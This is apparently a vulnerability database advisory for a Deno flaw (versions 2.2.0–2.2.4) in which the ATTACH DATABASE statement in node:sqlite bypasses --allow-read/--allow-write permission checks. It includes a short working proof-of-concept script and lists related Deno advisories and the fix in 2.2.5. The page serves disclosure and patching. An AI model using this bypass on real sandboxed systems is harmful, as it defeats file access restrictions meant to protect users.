Vulnerability RUSTSEC-2025-0138

Unknown

1 year ago

--allow-read / --allow-write permission bypass in `node:sqlite`

2.2.0 - 2.2.4

Summary

--allow-read / --allow-write permission bypass in `node:sqlite`

Details

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");

$ deno poc.js

References

Related Vulnerabilities

Other vulnerabilities affecting the same packages

Medium Risk

3 months ago

Deno: Denial of service via non-ASCII bytes in WebSocket response headers

0.0.1 and 0.3.5 - 0.42.0 and 1.0.0 - 1.46.3 and 2.0.0 - 2.7.4 GHSA-x2qc-cmh9-f4hf

High Risk

3 months ago

Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)

0.0.1 and 0.3.5 - 0.42.0 and 1.0.0 - 1.46.3 and 2.0.0 - 2.7.13 GHSA-8xpq-cjcf-3wh9

Medium Risk

3 months ago

Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions

0.0.1 and 0.3.5 - 0.42.0 and 1.0.0 - 1.46.3 and 2.0.0 - 2.7.11 GHSA-968w-xfqw-vp9q

Medium Risk

3 months ago

Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks

0.0.1 and 0.3.5 - 0.42.0 and 1.0.0 - 1.46.3 and 2.0.0 - 2.7.14 GHSA-v8fw-85r8-5m23

High Risk

3 months ago

Deno: Miller-Rabin Primality Test Allows Zero Rounds

0.0.1 and 0.3.5 - 0.42.0 and 1.0.0 - 1.46.3 and 2.0.0 - 2.8.0 GHSA-9xg4-qhm4-g43w

View all vulnerabilities for these packages

Impacted packages

deno

Timeline

Published

1 year ago

Fixed (2.2.5)

1 year ago

Last Modified

1 hour ago